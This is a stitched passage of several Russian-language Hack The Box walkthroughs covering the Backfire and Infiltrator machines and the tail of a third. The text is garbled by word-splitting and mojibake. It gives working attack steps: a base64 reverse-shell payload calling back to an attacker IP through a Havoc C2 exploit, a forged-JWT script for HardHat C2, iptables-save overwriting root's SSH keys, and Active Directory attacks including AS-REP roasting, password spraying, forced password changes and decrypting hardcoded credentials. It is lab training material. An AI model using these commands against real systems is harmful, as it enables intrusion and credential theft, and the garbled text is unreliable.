        if (shmdt(share_memory) == -1) {
        perror("error shmdt");

         return 1;
    }

     return 0;
}

Ском пилиру ем код и запус тим в бес конеч ном цик ле.

gcc expl.c -o expl.bin
  while true; do ./expl.bin; done

В дру гом тер минале запус тим целевую прог рамму в при виле гиро ван ном кон -
тек сте.

sudo /opt/hash-checker/check-leak.sh bob

В кон соли появит ся ошиб ка SQL, а зна чит, мы смог ли выпол нить инъ екцию
коман ды. Про верим пра ва на файл коман дной обо лоч ки ./bin/bash

Экс плу ата ция уяз вимос ти

Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла -
дель ца фай ла в рам ках запущен ного про цес са.

За пус тим коман дную обо лоч ку от име ни поль зовате ля .root

Флаг рута

Ма шина зах вачена!

https://man7.org/linux/man-pages/man2/shmget.2.html
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ВЗЛОМ

В этой статье я покажу, как уяз вимос ти
в C2-фрей мвор ках Havoc и HardHat могут
при вес ти к ком про мета ции хос та,
на котором они раз верну ты. Для даль -
нейше го повыше ния при виле гий мы
исполь зуем спо соб переза писи фай лов
коман дой sudo iptables.

На ша цель — получе ние прав супер поль зовате ля на машине Backre с учеб -
ной пло щад ки . Уро вень слож ности задания — сред ний.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
с при мене нием средств ано ними зации и вир -
туали зации. Не делай это го с компь юте ров, где
есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.49    backfire.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска -
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел три откры тых пор та:
22 — служ ба OpenSSH 9.2p1;•
пор ты 443 и 8000 — веб-сер вер Nginx 1.22.1.•

Так же скан показы вает, что кор невой каталог сай та на пор те 8000 не име ет
индекс-фай ла, а зна чит, нам дос тупно все содер жимое катало га.

Со дер жимое кор невого катало га на пор те 8000

ÒÎ×ÊÀ ÂÕÎÄÀ

В кор невом катало ге два фай ла: какой-то патч  и файл
про филя для C2-фрей мвор ка Havoc . В фай ле про филя содер -

жатся учет ные дан ные для под клю чения к сер веру C2.

disable_tls.patch
havoc.yaotl

Со дер жимое фай ла havoc.yaotl

C2-фрей мворк (Command and Control, так же С&C) — это прог рам мная плат -
форма, которая исполь зует ся для уда лен ного управле ния заражен ными
устрой ства ми в инфраструк туре ата кующе го. Такие фрей мвор ки обес печива -
ют каналы свя зи меж ду опе рато ром и ском про мети рован ными машина ми,
поз воляя выпол нять коман ды, заг ружать и ска чивать фай лы, собирать дан ные
и управлять вре донос ной активностью. Они широко при меня ются при тес -
тирова нии на про ник новение, кибер шпи она же и ата ках типа APT, пре дос -
тавляя гиб кий и час то модуль ный интерфейс для скры того кон тро ля
над целевы ми сис темами.

В репози тории  содер жатся экс пло иты для некото рых C2-
фрей мвор ков, а под робное опи сание есть в . Сре ди перечис ленных
фрей мвор ков есть и исполь зуемый на сер вере Havoc.

c2-vulnerabilities
бло ге

Со дер жимое репози тория

Экс пло ит из репози тория поз воля ет получить RCE за счет уяз вимос ти OS
Command Injection в генера торе аген та. Коман да для сбор ки аген та переда -
ется в коман дную обо лоч ку  на сер вере Havoc, а имя служ бы зада -

ется через перемен ную окру жения. Таким обра зом, если исполь зовать наг -
рузку с реверс-шел лом в качес тве име ни служ бы, мож но получить воз -
можность выпол нить реверс-шелл в коман дной стро ке.

/bin/sh

Од нако под клю чить ся к C2 не вый дет, так как порт 40056 прос лушива ется
толь ко для адре са 127.0.0.1. При этом в пат че под клю чение с исполь зовани -
ем SSL заменя ется обыч ным незащи щен ным соеди нени ем.

Со дер жимое фай ла disable_tls.patch

Од нако в фрей мвор ке есть еще одна уяз вимость — SSRF, через которую мы
можем дос тучать ся до сер вера C2 и про экс плу ати ровать RCE. Под робный
ана лиз уяз вимос ти SSRF мож но пос мотреть в  из бло га chebuya. Мы же
будем исполь зовать уже готовый .

пос те
экс пло ит SSRF + RCE

В коде экс пло ита заменим зна чение перемен ной  реверс-шел лом,
который сге нери руем на сай те .

cmd
Reverse Shell Generator

  cmd = "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42NS80MzIxIDA+JjE= 
| base64 -d | bash"

Ис ходный код экс пло ита

Сге нери рован ный реверс-шелл

Для работы скрип та дос тавим необ ходимые зависи мос ти.

python3 -m venv venv
source venv/bin/activate
pip install websocket-client requests pycryptodome

Для ожи дания соеди нения с реверс-шел лом запус тим лис тенер:

pwncat-cs -lp 4321

Ког да все готово, запус каем экс пло ит.

   
python3 CVE-2024-41570.py -t https://10.10.11.49 -i 127.0.0.1 -p 
40056 -U 'ilya' -P 'CobaltStr1keSuckz!'

Ре зуль тат работы экс пло ита

Экс пло ит авто мати чес ки дос тучал ся до сер вера Havoc через SSRF, соз дал
лис тенер, а потом сге нери ровал агент для получе ния RCE.

Сес сия поль зовате ля ilya

Сес сия быс тро уми рает, поэто му для зак репле ния на хос те сге нери руем пару
клю чей коман дой  и сох раним пуб личный ключ на сер вере.ssh-keygen

  echo 'ssh-ed25519 AAAA.....urp hacker' > ~/.ssh/authorized_keys

Ав торизу емся по SSH с при ват ным клю чом и забира ем поль зователь ский
флаг.

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь нам необ ходимо соб рать информа цию, которая поможет повысить
пра ва. Для это го нуж но про верить мно гие мес та в Linux, для чего я по тра -
диции буду исполь зовать скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль -
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис -
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на уда лен ный хост скрипт, дадим пра во на выпол нение и запус тим
ска ниро вание. Затем раз берем ся в том, что оно нам дало.

На рабочем сто ле есть какой-то файл .hardhat.txt

Со дер жимое фай ла hardhat.txt

От име ни поль зовате ля  запуще ны сер вер и кли ент C2-фрей мвор ка

.

sergej
HardHat C2

Де рево про цес сов

Сре ди активных пор тов есть типич ные для HardHat 5000 и 7096.

Прос лушива емые пор ты

По ищем, нет ли и в этом фрей мвор ке извес тных уяз вимос тей.

По иск экс пло итов в Google

Че рез Google выходим на статью « »,
в которой опи саны уяз вимос ти обхо да авто риза ции и пос леду ющая экс плу -
ата ция RCE в HardHat. Что бы получить дос туп к сер веру HardHat, нуж но про -
кинуть пор ты 5000 и 7096.

HardHatC2 0-Days (RCE & AuthN Bypass)

ssh -i id_rsa ilya@10.10.11.49 -L 7096:127.0.0.1:7096 -L 5000:127.0.
0.1:5000

В резуль тате весь тра фик, который мы пош лем на локаль ные пор -
ты 5000 и 7096, будет тун нелиро ван на соот ветс тву ющие пор ты ука зан ного
хос та (в дан ном слу чае 127.0.0.1) через SSH-хост.

Стра ница авто риза ции HardHat C2

В кон це статьи был экс пло ит, уста новим свои перемен ные 

и . Затем уста новим  и выпол ним код для соз дания сво его
поль зовате ля.

rhost
burp0_json pyjwt

pip install pyjwt

 import jwt
 import datetime
 import uuid
 import requests

  rhost = '127.0.0.1:5000'

# Craft Admin JWT
  secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
  issuer = "hardhatc2.com"

  now = datetime.datetime.utcnow()

    expiration = now + datetime.timedelta(days=28)
  payload = {

     "sub": "HardHat_Admin",
     "jti": str(uuid.uuid4()),
    

 
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/

nameidentifier": "1",
     "iss": issuer,
     "aud": issuer,
     "iat": int(now.timestamp()),
     "exp": int(expiration.timestamp()),
     "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "
Administrator"
}

    token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)

# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
  burp0_url = f"https://{rhost}/Login/Register"

  burp0_headers = {
   "Authorization": f"Bearer {token}",
   "Content-Type": "application/json"
}

  burp0_json = {
   "password": "sth_pentest",
   "role": "TeamLead",
   "username": "ralf"
}
     r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json,

verify=False)
print(r.text)

Экс плу ата ция уяз вимос ти обхо да авто риза ции

Те перь мож но авто ризо вать ся от име ни соз данно го поль зовате ля.

Глав ная панель HardHat C2

Те перь перехо дим к пун кту меню ImplantInteract  Terminal и выпол няем
коман ду .id

Ре зуль тат выпол нения коман ды id

За писы ваем поль зовате лю  свой ключ SSH и авто ризу емся по SSH.sergej

Сес сия поль зовате ля sergej

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Раз ведку на хос те уже про води ли, и со сме ной поль зовате ля в Linux мало что
меня ется. Но все же некото рые мес та нуж но про верить заново. Одно из таких
мест — нас трой ки sudoers.

 sudo -l

Нас трой ки sudoers

Наш поль зователь может запус тить коман ды  и 

 от име ни рута. В базе GTFOBins по iptables ничего нет,

поп робу ем поис кать какие-нибудь уяз вимос ти в бло гах.

/usr/sbin/iptables /usr/
sbin/iptables-save

По иск путей LPE в Google

По пер вой же  находим нуж ную нам информа цию. В iptables пра вилам
мож но добавить ком мента рии, которые под держи вают сим волы перево да
строк. При этом коман да  может сох ранить все текущие пра -

вила в про изволь ный файл.

ссыл ке

iptables-save

Та ким обра зом, исполь зуя фун кцию ком мента риев с перево дом строк, мы
можем соз дать такое пра вило, которое в новой стро ке будет содер жать пуб -
личный SSH-ключ.

 lo  sudo iptables -A INPUT -i -j ACCEPT -m comment --comment $'\n
ssh-ed25519 
AAAAC3NzaC1lZDI1NTE5AAAAIA4Ut1gVY7GnFY8dsp4ueaFVORzW7zyPqWoa/pydVurp 
X1\n'

Пра вила iptables

А теперь сох раним все пра вила в файл ./root/.ssh/authorized_keys

sudo iptables-save -f /root/.ssh/authorized_keys

При авто риза ции по SSH с при ват ным клю чом он будет соот несен с записан -
ным ранее пуб личным, и мы получим дос туп от име ни поль зовате ля root.

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
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https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/
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ВЗЛОМ

Мы про ведем клас сичес кий сбор дан ных
в Active Directory и через цепоч ку раз -
решений ском про мети руем учет ную
запись, с которой получим сес сию на хос те.
Затем извле чем дан ные из мес сен дже ра,
вскро ем при ложе ние на .NET и про экс плу -
ати руем пла ниров щик задач для получе ния
слу жеб ной учет ной записи. Повысим при -
виле гии через тех нику ESC4 для служ бы
ADCS.

На ша цель — получе ние прав супер поль зовате ля на машине Inltrator с учеб -
ной пло щад ки . Уро вень слож ности задания — «безум ный».Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
с при мене нием средств ано ними зации и вир -
туали зации. Не делай это го с компь юте ров, где
есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.31 infiltrator.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска -
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел 13 откры тых пор тов:
80 (HTTP) — веб-сер вер Microsoft IIS/10.0;•
88 — Kerberos;•
135 — Microsoft RPC;•
139 — NetBIOS, NetLogon;•
389 — LDAP;•
445 — SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
3268 (LDAP) — для дос тупа к Global Catalog от кли ента к кон трол леру;•
3269 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

•

3389 — служ ба уда лен ного рабоче го сто ла;•
5985 — служ ба уда лен ного управле ния WinRM.•

До бавим в  еще и пол ное имя машины, а затем нач нем раз ведку
с изу чения сай та.

/etc/hosts

10.10.11.31 infiltrator.htb dc01.infiltrator.htb dc01

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те находим спи сок сот рудни ков. Выписы ваем их в отдель ный файл.

Сот рудни ки ком пании

С помощью сле дующе го скрип та мы можем сос тавить спи сок воз можных
учет ных записей в домене.

 import sys

 if len(sys.argv)==1:
        print("Usage: " + sys.argv[0] + " <usernames.txt>")
    sys.exit(1)

  names = open(sys.argv[1],"r").read().strip().split('\n')
  list = []
   for name in names:

       n1, n2 = name.split(' ')
    list.append(n1)
    list.append(n1+n2)
    list.append(n1+"."+n2)
    list.append(n1+"-"+n2)
    list.append(n1+"_"+n2)
    list.append(n1+n2[0])
    list.append(n1+"."+n2[0])
    list.append(n1+"-"+n2[0])
    list.append(n1+"_"+n2[0])
    list.append(n2[0]+n1)
    list.append(n2[0]+"."+n1)
    list.append(n2[0]+"-"+n1)
    list.append(n2[0]+"_"+n1)
    list.append(n2)
    list.append(n2+n1)
    list.append(n2+"."+n1)
    list.append(n2+"-"+n1)
    list.append(n2+"_"+n1)
    list.append(n2+n1[0])
    list.append(n2+"."+n1[0])
    list.append(n2+"-"+n1[0])
    list.append(n2+"_"+n1[0])
    list.append(n1[0]+n2)
    list.append(n1[0]+"."+n2)
    list.append(n1[0]+"-"+n2)
    list.append(n1[0]+"_"+n2)

   for n in list:
    print(n)

python3 getusers.py team.txt > pos_users.txt

Те перь мож но исполь зовать инс тру мент  для опре деле ния учет ных

записей, которые реаль но сущес тву ют в домене. Дело в том, что Kerberos
воз вра щает раз ные коды оши бок для сущес тву ющей и несущес тву ющей учет -
ных записей.

Kerbrute

kerbrute_linux_amd64 userenum -d infiltrator.htb --dc dc01.
infiltrator.htb pos_users.txt

Учет ные записи в домене

Имея спи сок дей стви тель ных учет ных записей, мож но про вес ти ата ку AS-REP
Roasting. Если в UAC поль зовате ля уста нов лен флаг «Без пред варитель ной
про вер ки под линнос ти Kerberos», то мы можем получить TGT-билет поль -
зовате ля без вер ного пароля, а затем сбру тить пароль офлайн.

GetNPUsers.py -dc-ip 10.10.11.31 infiltrator.htb/ -usersfile users.
txt -no-pass

Про веде ние ата ки AS-REP Roasting

По луча ем хеш поль зовате ля L.Clark и можем его проб рутить с помощью
. Затем валиди руем учет ные дан ные через .hashcat NetExec

hashcat hash.txt rockyou.txt

Ре зуль тат под бора пароля

   nxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!'

Про вер ка учет ных дан ных

По лучив валид ные логин и пароль, собира ем информа цию из домена. Пер -
вым делом получа ем спи сок всех поль зовате лей.

    nxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!' --users

Поль зовате ли домена

В опи сании одной учет ной записи есть стро ка, похожая на пароль. Сох раня -
ем всех юзе ров в файл и про буем исполь зовать най ден ную стро ку как пароль
для дру гих акка унтов.

nxc smb 10.10.11.31 -u users.txt -p passwords.txt 
--continue-on-success

Ре зуль тат перебо ра

На некото рых учет ных записях получа ем ошиб ку
, а зна чит, пов торим перебор, но теперь

с исполь зовани ем аутен тифика ции Kerberos.

STATUS_ACCOUNT_RESTRICTION

 nxc smb DC01.infiltrator.htb -u users.txt -p passwords.txt -k
--continue-on-success

Ре зуль тат перебо ра

Ошиб ка сме нилась на , а зна чит, нам нуж но син хро низи -
ровать вре мя на локаль ной машине с сер вером.

KRB_AP_ERR_SKEW

sudo timedatectl set-ntp false
sudo ntpdate -s 10.10.11.31

ÒÎ×ÊÀ ÎÏÎÐÛ

У нас есть нес коль ко уче ток, приш ло вре мя соб рать базу дан ных
. Для сбо ра дан ных с исполь зовани ем инс тру мен тария под Linux

нам нужен рабочий DNS-сер вер, одна ко иног да до него мож но не дос тучать -
ся. Поэто му мы раз вернем свой при помощи скрип та .

BloodHound

DNSChef

Ути лита  исполь зует теорию гра фов для выяв ления скры тых

и зачас тую неп редна мерен ных вза имос вязей в сре де Active Directory. Ее мож -
но исполь зовать, что бы лег ко иден тифици ровать очень слож ные пути ата ки.

BloodHound

Пер вым делом нам нуж но соз дать кон фиг , в котором дол -

жны быть стан дар тные для любого домена записи DNS.

infiltrator.txt

[A]
*.infiltrator.htb=10.10.11.31
[SRV]
_ldap._tcp.pdc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb
_ldap._tcp.gc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb
_kerberos._tcp.dc._msdcs.infiltrator.htb=0 5 88 infiltrator.htb

За тем отклю чаем сис темный резол вер и запус каем свой DNS-сер вер.

sudo systemctl stop systemd-resolved

python3 dnschef.py --file ./infiltrator.txt

За пуск DNSChef

За тем исполь зуем скрипт  для сбо ра дан ных BloodHound.
Пос ле завер шения работы скрип та не забыва ем отклю чить DNSChef и сно ва
акти виро вать .

bloodhound-ce

systemd-resolved

     
  All 

  

python3 bloodhound.py -d 'infiltrator.htb' -u 'L.Clark' -p
'WAT?watismypass!' -c -ns 127.0.0.1 -dc DC01.infiltrator.htb 
--use-ldap --zip --auth-method ntlm

sudo systemctl start systemd-resolved

Сбор дан ных BloodHound

Стро им граф от поль зовате ля .D.ANDERSON

Граф BloodHound

Поль зователь  име ет пра во GenericAll на под разде ление

, где сос тоит поль зователь . Это пра во поз -

воля ет нам наз начить любые пра ва для всех чле нов под разде ления.
С помощью скрип та  из пакета  даем поль зовате лю 

 пол ные пра ва на всех чле нов .

D.ANDERSON
MARKETING DIGITAL E.RODRIGUEZ

dacledit Impacket D.
ANDERSON MARKETING DIGITAL

     
   

  
 

dacledit.py -action 'write' -rights 'FullControl' -inheritance
-principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,
DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson:WAT?watismypass!'
-k -dc-ip 10.10.11.31

Наз начение прав на под разде ление

Те перь  име ет пол ные пра ва на  и может сме нить

пароль целевой учет ной записи. Экс плу ати ровать раз решения мож но
с помощью .

D.ANDERSON E.RODRIGUEZ

bloodyAD

  
   

python3 bloodyAD.py --host "dc01.infiltrator.htb" --dc-ip 10.10.11.
31 -d infiltrator.htb -u d.anderson -p 'WAT?watismypass!' -k set 
password E.RODRIGUEZ 'RRrr!!11'

Из менение пароля поль зовате ля E.RODRIGUEZ

Так мы ском про мети рова ли еще одну учет ную запись. Вер немся к нашему
гра фу и обра тим вни мание, что поль зователь  име ет пра во

AddSelf на груп пу . Это пра во поз воля ет поль зовате лю
добавить себя в целевую груп пу, что мы так же можем сде лать с помощью
bloodyAD.

E.RODRIGUEZ
CHIEFS MARKETING

  
  

python3 bloodyAD.py --host "dc01.infiltrator.htb" --dc-ip 10.10.11.
31 -d infiltrator.htb -u e.rodriguez -p 'RRrr!!11' -k add 
groupMember 'CHIEFS MARKETING' E.RODRIGUEZ

До бав ление поль зовате ля в груп пу

Су дя по гра фу, чле ны груп пы  име ют пра во

 на учет ную запись . Это пра во поз воля ет

изме нить пароль целевой учет ной записи.

CHIEFS MARKETING
ForceChangePassword M.HARRIS

  
   

python3 bloodyAD.py --host "dc01.infiltrator.htb" --dc-ip 10.10.11.
31 -d infiltrator.htb -u e.rodriguez -p 'RRrr!!11' -k set password M.
HARRIS 'RRrr!!11'

Из менение пароля поль зовате ля M.HARRIS

Поль зователь M.HARRIS сос тоит в груп пах , 

 (можем авто ризо вать ся по WinRM) и . Из-за пос -

ледней груп пы мы не можем зай ти по WinRM с исполь зовани ем аутен тифика -
ции NTLM, поэто му будем исполь зовать Kerberos. Сна чала зап росим TGT-
билет поль зовате ля.

DEVELOPERS REMOTE MANAGEMENT
USERS PROTECTED USERS

 getTGT.py 'infiltrator.htb/m.harris:RRrr!!11' -dc-ip 10.10.11.31

По луче ние TGT-билета

А теперь вне сем запись о домене в файл  и получим сес сию

через .

/etc/krb5.conf
Evil-WinRM

[libdefaults]
        default_realm = INFILTRATOR.HTB
[realms]

         INFILTRATOR.HTB = {
                kdc = DC01.INFILTRATOR.HTB
        }

Так получа ем пер вый флаг.

 
 

KRB5CCNAME='m.harris.ccache' evil-winrm -i dc01.infiltrator.htb -u
'm.harris' -r INFILTRATOR.HTB

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

Для прод вижения нам нуж но соб рать информа цию. Я буду исполь зовать
для это го скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль -
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис -
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на уда лен ный хост исполня емый файл для Windows и запус тим ска -
ниро вание. В выводе будет мно го все го, наша цель — най ти потен циаль ные
зацеп ки для прод вижения.

Сре ди уста нов ленно го ПО находим Output Messenger Server, при этом
сра зу узна ем, на каких пор тах работа ет софт.

Спи сок ПО в авто заг рузке

Продолжение статьи →
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Прос лушива емые TCP-пор ты

Кор поратив ный мес сен джер занима ет мно го пор тов, поэто му нам необ -
ходимо тун нелиро вать тра фик. Для это го будем исполь зовать .

На локаль ном хос те запус тим сер вер, ожи дающий под клю чения (параметр 
) на порт 8888 (параметр ).

Chisel

--
reverse --p

./chisel.bin server --p 8888 --reverse

За тем на уда лен ном хос те запус тим кли ент скую часть. Ука зыва ем адрес сер -
вера и порт для под клю чения, а так же нас трой ки для тун неля. Будем про киды -
вать пор ты, занима емые мес сен дже ром.

.\chisel.exe client 10.10.16.17:8888 R:14121:127.0.0.1:14121 R:14122:
127.0.0.1:14122 R:14123:127.0.0.1:14123 R:14124:127.0.0.1:14124 R:
14125:127.0.0.1:14125 R:14126:127.0.0.1:14126

Ког да тун нель готов, ска чива ем  и про буем авто -
ризо вать ся от име ни .

кли ент Output Messenger
k.turner

Ав ториза ция Output Messenger

Со обще ния в чате Dev_Chat

В чате Dev_Chat говорит ся про какую-то кон соль ную ути литу для под клю чения
к LDAP, при этом у нее есть опция под клю чения с дефол тны ми кре дами. Так же
находим инс трук цию по под клю чению, в которой ука заны учет ные дан ные
поль зовате ля .m.harris

Инс трук ция по исполь зованию ути литы

Ав торизу емся в мес сен дже ре от име ни поль зовате ля  и в чате

с адми ном находим исполня емый файл.

m.harris

Чат с адми ном

Так как в при ложе нии есть дефол тные учет ные дан ные и написа но оно на C#,
мы можем его лег ко деком пилиро вать и получить еще одну учет ку.

Ïîëüçîâàòåëü winrm_svc
Де ком пилиру ем исполня емый файл через  и сра зу находим зашиф -

рован ный пароль.

dotPeek

Ре зуль тат деком пиляции прог раммы

Нем ного перепи шем деком пилиро ван ный код для рас шифров ки пароля
и получим пароль в откры том виде.

 using System;
 using System.IO;
 using System.Security.Cryptography;
 using System.Text;

 namespace ConsoleApp2
{
      public class Decryptor
    {

              public static string DecryptString(string key, string
cipherText)
        {

                using (Aes aes = Aes.Create())
            {

                  aes.Key = Encoding.UTF8.GetBytes(key);
                   aes.IV = new byte[16];

   
 

                ICryptoTransform decryptor = aes.CreateDecryptor(aes.
Key, aes.IV);

                     using (MemoryStream memoryStream = new MemoryStream(
Convert.FromBase64String(cipherText)))
                {

     
  

                    using (CryptoStream cryptoStream = new
CryptoStream((Stream)memoryStream, decryptor, CryptoStreamMode.Read))
                    {

                             using (StreamReader streamReader = new
StreamReader((Stream)cryptoStream))

                             return streamReader.ReadToEnd();
                    }
                }
            }
        }
    }

      internal class Program
    {

           static void Main(string[] args)
        {

               string str2 = "winrm_svc";
               string cipherText = "TGlu22oo8GIHRkJBBpZ1nQ/

x6l36MVj3Ukv4Hw86qGE=";
   

 
            string b64password = Decryptor.DecryptString(
"b14ca5898a4e4133bbce2ea2315a1916", cipherText);

  
 

            b64password = Decryptor.DecryptString(
"b14ca5898a4e4133bbce2ea2315a1916", b64password);
            Console.WriteLine(b64password);
        }
    }
}

Па роль в откры том виде

С получен ными учет ными дан ными авто ризу емся в кор поратив ном мес сен -
дже ре, где про дол жаем собирать дан ные из раз ных чатов. В чате упо мина -
ется, что каж дый день поль зователь, как по рас писанию, получа ет уве дом -
ления. Так же узна ем, что поль зователь писал свой пароль в чате

.Chiefs_Marketing_chat

Чат с поль зовате лем

Так же в мес сен дже ре находим ключ API для акка унта .lan_managment

API-ключ

С получен ным клю чом мы можем обра щать ся к API мес сен дже ра. Получим
чаты по эндпо инту ./api/chatrooms/

curl      
  

 

-s -k -H 'API-KEY: 558R501T5I6024Y8JV3B7KOUN1A518GG' -H
'Accept: application/json, text/javascript, */*' -H 'Host: 
infiltrator.htb:14125' 'http://127.0.0.1:14125/api/chatrooms/' | jq

Ак тивные чаты

Для получе ния содер жимого чатов через API нам нуж ны иден тифика торы,
которые мы можем дос тать из базы дан ных мес сен дже ра. От име ни текуще го
поль зовате ля под клю чаем ся к служ бе WinRM.

 evil-winrm -i dc01.infiltrator.htb -u winrm_svc -p 'WinRm@$svc^!^P'

Сес сия поль зовате ля winrm_svc

Ñåññèÿ o.martinez
Пе рехо дим к катало гу при ложе ния  и, помимо логов,

находим там еще один каталог.

Output Messenger

Со дер жимое катало га Output Messenger

В катало ге JAAA обна ружи ваем файл базы дан ных , который ска чива -

ем на локаль ный хост.

OM.db3

Со дер жимое JAAA

От кры ваем файл через  и получа ем иден тифика тор чата из таб -

лицы .

DB Browser

om_chatroom

Со дер жимое таб лицы om_chatroom

Те перь получим логи чата через API ./api/chatrooms/logs

curl      
  

 

-s -k -H 'API-KEY: 558R501T5I6024Y8JV3B7KOUN1A518GG' -H
'Accept: application/json, text/javascript, */*' -H 'Host: 
infiltrator.htb:14125' 'http://127.0.0.1:14125/api/chatrooms/
logs?roomkey=20240220014618@conference.com&fromdate=2024/02/01&
todate=2024/09/01' | jq

Ло ги чата

В логах есть учет ные дан ные, с которы ми авто ризу емся в мес сен дже ре.
Вспо мина ем про зап ланиро ван ную задачу, о которой говори лось в чате,
и перехо дим к кален дарю. Сре ди спис ка событий мож но выб рать запуск при -
ложе ния.

Со бытия Output Messenger

Ука зыва ем для запус ка путь к фай лу аген та Havoc. Этот файл дол жен быть
рас положен по ука зан ному пути и на нашем кли енте Windows, и на сер вере.

Па рамет ры события

Ров но в ука зан ное вре мя про изой дет запуск аген та.

Сес сии Havoc

Ïîëüçîâàòåëü o.martinez
У нового поль зовате ля сра зу изу чим каталог мес сен дже ра.

Со дер жимое катало га мес сен дже ра

В катало ге FAAA есть ска чан ные фай лы. В одной из папок — ска чан ный дамп
тра фика.

Со дер жимое катало га FAAA

Ска чан ные фай лы

Ко ман дой  забира ем файл PCAPNG на локаль ный хост для ана лиза

в . В дам пе есть пакеты HTTP, а зна чит, есть шанс най ти учет ные
дан ные.

download
Wireshark

Па кеты в Wireshark

Да вай прос мотрим все зап росы и отве ты HTTP в удоб ном виде, для чего
выберем пер вый пакет HTTP и в кон текс тном меню наж мем «Отсле живать 
HTTP Stream».

От сле жива ние HTTP

В потоке 6 видим ска чива ние фай ла , а в

потоке 11 находим пароль поль зовате ля.

Bitlocker-backup.7z

HTTP-зап рос/ответ — поток 6

HTTP-зап рос/ответ — поток 11

Продолжение статьи →
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Учет ные дан ные поз волят нам под клю чить ся по RDP, но перед этим сдам пим
из тра фика ска чан ный архив. Для это го в Wireshark выбира ем в меню «Файл

 Экспор тировать объ екты  HTTP». В новом окне будет отоб ражен спи сок
со все ми фай лами из дам па. Все эти фай лы мож но сох ранить локаль но.

Эк спорт объ ектов HTTP

Фай лы из дам па тра фика

Ар хив 7-Zip запаро лен, поэто му с помощью  получа ем хеш, который

переби раем с помощью .

7z2john

John the Ripper

 ./7z2john.pl 'BitLocker-backup(1).7z' > 7z_hash.txt
john --wordlist=rockyou.txt 7z_hash.txt

Ре зуль тат под бора пароля

В архи ве есть сох ранен ная HTML-стра ница с клю чами BitLocker.

Со дер жимое HTML-стра ницы

Ïîëüçîâàòåëü lan_managment
За ходим по RDP как  и в про вод нике сра зу отме чаем зашиф -

рован ный диск .

